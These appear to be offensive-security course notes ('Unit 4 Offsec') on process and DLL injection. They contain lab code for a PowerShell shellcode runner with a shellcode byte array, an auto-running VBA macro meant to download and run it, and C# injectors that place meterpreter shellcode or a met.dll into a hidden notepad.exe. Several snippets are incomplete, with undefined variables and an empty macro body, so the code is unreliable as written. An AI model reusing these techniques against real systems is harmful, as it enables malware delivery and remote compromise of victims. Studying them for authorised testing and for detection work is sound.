Unit 4 Offsec
Unit 4 Offsec
In offensive security testing, DLL injection is often used to test the security
of a system or application by injecting malicious code into a running
process. This can help identify vulnerabilities in the target system or
application, as well as evaluate the effectiveness of security controls and
detection mechanisms.
There are different methods that can be used to achieve DLL injection, such
as modifying the process' import table or using the SetWindowsHookEx
function to inject code into a process. C# programming language is also a
popular choice for implementing this technique due to its simplicity and
versatility,
The technique involves opening a handle to the target process and allocating
memory within the process space to load the DLL. The C# program then
writes the DLL file to the allocated memory space and creates a remote
thread within the target process to execute the code contained within the
DLL.
By testing for and identifying vulnerabilities in this manner, security
professionals can help organizations better protect against real-world attacks
and implement appropriate risk mitigation measures.
Use endpoint detection and response (EDR) solutions: EDR solutions can
help detect and respond to process injection attacks by monitoring endpoint
activity and detecting suspicious behavior.
Lab Snippets:
• Start Listener
• Create new file evil.ps1
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
Add-Type $Kernel32
[Byte[]] $buf =
0xfc,0xe8,0x8f,0x0,0x0,0x0,0x60,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,[R
EDACTED],0xff,0xd5
$size = $buf.Length
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);
#default,size,allocationtype,permission
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$addr,$size);
#payload,start,address,size
$thandle = [Kernel32]::CreateThread(0,0,$addr,0,0,0)
[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
• Host it in webserver
• Create a VBA Macro document and download/execute the Evil.ps1
file
Sub Document_Open()
EvilMacro
End Sub
Sub AutoOpen()
EvilMacro
End Sub
Sub EvilMacro()
End Sub
2. C# Reverse Shell
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
namespace Shellcode_Runner
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling =
true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint
dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint
dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32
dwMilliseconds);
static void Main(string[] args)
{
//CreateThread
IntPtr hthread = CreateThread(IntPtr.Zero, 0, addr,
IntPtr.Zero, 0, IntPtr.Zero);
}
}
}
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using System.Diagnostics;
namespace processinjection
{
class Program
{
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr
lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr
lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
static void Main(string[] args)
{
Process p = new Process();
p.StartInfo.FileName = "notepad.exe";
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
p.Start();
Process[] processpid = Process.GetProcessesByName("notepad");
int prsid = processpid[0].Id;
Console.WriteLine(" ");
Console.WriteLine("The PID of notepad.exe is : " + prsid);
Console.WriteLine(" ");
Console.WriteLine("The handle for notepad.exe is : " +
hProcess);
Console.WriteLine(" ");
Console.WriteLine("The value of memory allocated address " +
addr);
//Console.WriteLine("Base address of allocated memory: 0x" +
addr.ToString("X"));
//Payload
byte[] buf = new byte[770] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52
,
0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0
,
0xb5,0xa2,0x56,0xff,0xd5 };
IntPtr outSize;
Console.WriteLine(" ");
Console.WriteLine("The thread created for meterpreter payload
in notepad.exe is : " + hThread);
}
}
}
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace _5_2_DLL_Injection
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling =
true)]
static extern IntPtr OpenProcess(uint processAccess, bool
bInheritHandle, int processId);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr
lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr
lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr
lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr
lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
String dir =
Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
String dllName = dir + "\\met.dll";
IntPtr loadLib =
GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
}
}
}